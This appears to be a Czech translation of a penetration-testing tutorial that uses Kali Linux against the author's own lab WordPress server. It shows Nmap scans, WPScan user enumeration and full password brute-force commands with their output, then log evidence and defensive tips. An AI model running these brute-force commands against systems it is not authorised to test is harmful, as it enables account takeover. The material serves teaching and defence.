GNU/Linux >> Znalost Linux >  >> Linux

Testování pera pomocí bezpečnostních nástrojů Linuxu

Množství dobře propagovaných narušení velkých spotřebitelských korporací podtrhuje zásadní význam správy zabezpečení systému. Naštěstí existuje mnoho různých aplikací, které pomáhají zabezpečit počítačové systémy. Jedním z nich je Kali, distribuce Linuxu vyvinutá pro zabezpečení a penetrační testování. Tento článek ukazuje, jak pomocí Kali Linuxu prozkoumat váš systém a najít slabá místa.

Kali instaluje spoustu nástrojů, z nichž všechny jsou open source, a jejich instalace ve výchozím nastavení usnadňuje práci.

Systémy, které použiji v tomto tutoriálu, jsou:

  1. kali.usersys.redhat.com :Toto je systém, kde spustím skenování a útoky. Má 30 GB paměti a šest virtualizovaných CPU (vCPU).
  2. vulnerable.usersys.redhat.com :Toto je systém Red Hat Enterprise Linux 8, který bude cílem. Má 16 GB paměti a šest vCPU. Toto je relativně aktuální systém, ale některé balíčky mohou být zastaralé.
  3. Tento systém také zahrnuje httpd-2.4.37-30.module+el8.3.0+7001+0766b9e7.x86_64 , mariadb-server-10.3.27-3.module+el8.3.0+8972+5e3224e9.x86_64 , tigervnc-server-1.9.0-15.el8_1.x86_64 , vsftpd-3.0.3-32.el8.x86_64 a WordPress verze 5.6.1.

Zahrnul jsem hardwarové specifikace výše, protože některé z těchto úloh jsou docela náročné, zejména pro CPU cílového systému při spuštění WordPress Security Scanner (WPScan).

Prozkoumejte svůj systém

Své vyšetřování jsem zahájil základním skenováním Nmap na mém cílovém systému. (Můžete se ponořit hlouběji do Nmap, když si přečtete Používání výsledků Nmap k posílení linuxových systémů.) Skenování Nmap je rychlý způsob, jak získat přehled o tom, které porty a služby jsou viditelné ze systému, čímž se spustí skenování Nmap.

Toto výchozí skenování ukazuje, že existuje několik možných zajímavých otevřených portů. Ve skutečnosti je každý otevřený port možná zajímavý, protože by to mohl být způsob, jak útočník prolomit vaši síť. V tomto příkladu je dobré skenovat porty 21, 22, 80 a 443, protože jde o běžně používané služby. V této rané fázi pouze dělám průzkumné práce a snažím se získat co nejvíce informací o cílovém systému.

Chci prozkoumat port 80 pomocí Nmap, takže používám -p 80 argument pro zobrazení portu 80 a -A získat informace, jako je operační systém a verze aplikace.

Některé z klíčových řádků v tomto výstupu jsou:

PORT   STATE SERVICE VERSION
80/tcp open  http       Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-generator: WordPress 5.6.1

Protože nyní vím, že se jedná o server WordPress, mohu použít WPScan k získání informací o potenciálních slabinách. Dobrým průzkumem je pokusit se najít nějaká uživatelská jména. Pomocí --enumerate u říká WPScan, aby hledal uživatele v instanci WordPress. Například:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --enumerate u
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Tue Feb 16 21:38:49 2021

Interesting Finding(s):
...
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] pgervase
 | Found By: Author Posts - Display Name (Passive Detection)
 | Confirmed By:
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

To ukazuje, že existují dva uživatelé:admin a pgervase . Pokusím se uhodnout heslo pro admin pomocí slovníku hesel, což je textový soubor se spoustou možných hesel. Slovník, který jsem použil, byl 37G a měl 3 543 076 137 řádků.

Stejně jako existuje více textových editorů, webových prohlížečů a dalších aplikací, ze kterých si můžete vybrat, je k dispozici několik nástrojů pro spouštění útoků na hesla. Zde jsou dva příklady příkazů pomocí Nmap a WPScan:

# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=/path/to/passworddb,threads=6 vulnerable.usersys.redhat.com
# wpscan --url vulnerable.usersys.redhat.com --passwords /path/to/passworddb --usernames admin --max-threads 50 | tee nmap.txt

Tento skript Nmap je jedním z mnoha možných skriptů, které jsem mohl použít, a skenování adresy URL pomocí WPScan je pouze jedním z mnoha možných úkolů, které tento nástroj dokáže. Můžete se rozhodnout, které chcete používat

Tento příklad WPScan ukazuje heslo na konci souboru:

┌──(root?kali)-[~]
└─# wpscan --url vulnerable.usersys.redhat.com --passwords passwords.txt --usernames admin
_______________________________________________________________
        __              _______   _____
        \ \     / /  __ \ / ____|
        \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
        \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
                \  /\  /  | |   ____) | (__| (_| | | | |
                \/  \/   |_|    |_____/ \___|\__,_|_| |_|

        WordPress Security Scanner by the WPScan Team
                        Version 3.8.10
        Sponsored by Automattic - https://automattic.com/
        @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://vulnerable.usersys.redhat.com/ [10.19.47.242]
[+] Started: Thu Feb 18 20:32:13 2021

Interesting Finding(s):

…..

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / redhat Time: 00:01:57 <==================================================================================================================> (3231 / 3231) 100.00% Time: 00:01:57
Trying admin / redhat Time: 00:01:57 <=========================================================                                                         > (3231 / 6462) 50.00%  ETA: ??:??:??
[SUCCESS] - admin / redhat                                                                                                                                                                      

[!] Valid Combinations Found:
 | Username: admin, Password: redhat

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpscan.com/register

[+] Finished: Thu Feb 18 20:34:15 2021
[+] Requests Done: 3255
[+] Cached Requests: 34
[+] Data Sent: 1.066 MB
[+] Data Received: 24.513 MB
[+] Memory used: 264.023 MB
[+] Elapsed time: 00:02:02

Sekce Nalezené platné kombinace na konci obsahuje uživatelské jméno a heslo správce. Procházení 3 231 řádky trvalo pouhé dvě minuty.

Mám další soubor slovníku s 3 238 659 984 unikátními položkami, což by trvalo mnohem déle a zanechalo by to mnohem více důkazů.

Použití Nmap produkuje výsledek mnohem rychleji:

┌──(root?kali)-[~]
└─# nmap -sV --script http-wordpress-brute --script-args userdb=users.txt,passdb=password.txt,threads=6 vulnerable.usersys.redhat.com
Starting Nmap 7.91 ( https://nmap.org ) at 2021-02-18 20:48 EST
Nmap scan report for vulnerable.usersys.redhat.com (10.19.47.242)
Host is up (0.00015s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE VERSION
21/tcp   open  ftp      vsftpd 3.0.3
22/tcp   open  ssh      OpenSSH 8.0 (protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.37 ((Red Hat Enterprise Linux))
|_http-server-header: Apache/2.4.37 (Red Hat Enterprise Linux)
| http-wordpress-brute:
|   Accounts:
|       admin:redhat - Valid credentials              <<<<<<<
|       pgervase:redhat - Valid credentials         <<<<<<<
|_  Statistics: Performed 6 guesses in 1 seconds, average tps: 6.0
111/tcp  open  rpcbind 2-4 (RPC #100000)
| rpcinfo:
|   program version     port/proto  service
|   100000  2,3,4       111/tcp   rpcbind
|   100000  2,3,4       111/udp   rpcbind
|   100000  3,4         111/tcp6  rpcbind
|_  100000  3,4         111/udp6  rpcbind
3306/tcp open  mysql   MySQL 5.5.5-10.3.27-MariaDB
MAC Address: 52:54:00:8C:A1:C0 (QEMU virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

Spuštění tohoto skenování však může v cílovém systému zanechat záplavu zpráv protokolování HTTPD:

10.19.47.170 - - [18/Feb/2021:20:14:01 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:00 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"
10.19.47.170 - - [18/Feb/2021:20:14:02 -0500] "POST /wp-login.php HTTP/1.1" 200 7575 "http://vulnerable.usersys.redhat.com/" "WPScan v3.8.10 (https://wpscan.org/)"

K získání informací o serveru HTTPS nalezeném v mém počátečním skenování Nmap jsem použil sslscan příkaz:

┌──(root?kali)-[~]
└─# sslscan vulnerable.usersys.redhat.com
Version: 2.0.6-static
OpenSSL 1.1.1i-dev  xx XXX xxxx

Connected to 10.19.47.242

Testing SSL server vulnerable.usersys.redhat.com on port 443 using SNI name vulnerable.usersys.redhat.com

  SSL/TLS Protocols:
SSLv2   disabled
SSLv3   disabled
TLSv1.0   disabled
TLSv1.1   disabled
TLSv1.2   enabled
TLSv1.3   enabled
<snip>

Zde jsou uvedeny informace o povolených protokolech SSL a dále ve výstupu informace o zranitelnosti Heartbleed:

  Heartbleed:
TLSv1.3 not vulnerable to heartbleed
TLSv1.2 not vulnerable to heartbleed

Tipy pro prevenci nebo zmírnění útočníků

Další zdroje pro Linux

  • Cheat pro příkazy Linuxu
  • Cheat sheet pro pokročilé příkazy systému Linux
  • Bezplatný online kurz:Technický přehled RHEL
  • Síťový cheat pro Linux
  • Cheat sheet SELinux
  • Cheat pro běžné příkazy pro Linux
  • Co jsou kontejnery systému Linux?
  • Naše nejnovější články o Linuxu

Existuje mnoho způsobů, jak bránit své systémy před množstvím útočníků. Několik klíčových bodů:

  • Poznejte své systémy: To zahrnuje vědět, které porty jsou otevřené, jaké porty by měly být otevřené, kdo by měl tyto otevřené porty vidět a jaký je očekávaný provoz na těchto službách. Nmap je skvělý nástroj, jak se dozvědět o systémech v síti.
  • Používejte aktuální osvědčené postupy: To, co je dnes považováno za osvědčený postup, nemusí být osvědčeným postupem. Jako správce je důležité mít aktuální informace o trendech v oblasti infosec.
  • Vědět, jak používat své produkty: Místo toho, abyste například nechali útočníka neustále narážet na váš systém WordPress, zablokujte jeho IP adresu a omezte, kolikrát se může pokusit přihlásit, než bude zablokován. Blokování IP adresy nemusí být v reálném světě tak užitečné, protože útočníci pravděpodobně využívají k útokům kompromitované systémy. Povolení je však snadné a mohlo by blokovat některé útoky.
  • Udržujte a ověřujte dobré zálohy: Pokud útočník zahrnuje jeden nebo více vašich systémů, možnost obnovy ze známých dobrých a čistých záloh může ušetřit spoustu času a peněz.
  • Zkontrolujte své protokoly: Jak ukazují příklady výše, příkazy pro skenování a pronikání mohou zanechat mnoho protokolů, které indikují, že se na systém zaměřuje útočník. Pokud si jich všimnete, můžete provést preventivní opatření ke zmírnění rizika.
  • Aktualizujte své systémy, jejich aplikace a další moduly: Jak vysvětluje NIST Special Publication 800-40r3, „záplaty jsou obvykle nejúčinnějším způsobem, jak zmírnit zranitelnosti softwarových chyb, a často jsou jediným plně efektivním řešením.“
  • Používejte nástroje, které poskytují vaši dodavatelé: Prodejci mají různé nástroje, které vám pomohou udržovat jejich systémy, takže se ujistěte, že je využíváte. Například Red Hat Insights, který je součástí předplatného Red Hat Enterprise Linux, může pomoci vyladit vaše systémy a upozornit vás na potenciální bezpečnostní hrozby.

Další informace

Tento úvod do bezpečnostních nástrojů a jejich použití je jen špičkou ledovce. Chcete-li se ponořit hlouběji, možná budete chtít nahlédnout do následujících zdrojů:

  • Armitage, open source nástroj pro správu útoků
  • Centrum zabezpečení produktů Red Hat
  • Kanál zabezpečení Red Hat
  • Stránka NIST Cybersecurity
  • Používání výsledků Nmap k posílení systémů Linux

Linux
  1. Prohledejte své zabezpečení Linuxu pomocí Lynis

  2. Populární linuxové distribuce pro testování zabezpečení

  3. Monitorování zabezpečení v Linuxu pomocí Tripwire

  1. Monitorujte svůj systém Linux ve svém terminálu pomocí procps-ng

  2. Pochopení systémových volání na Linuxu pomocí strace

  3. Nástroje pro přetaktování v Linuxu

  1. Linux Shutdown Command (s příklady)

  2. Plánování systémových úloh pomocí Cronu na Linuxu

  3. Přežití bezpečnostního auditu s podnikovým Linuxem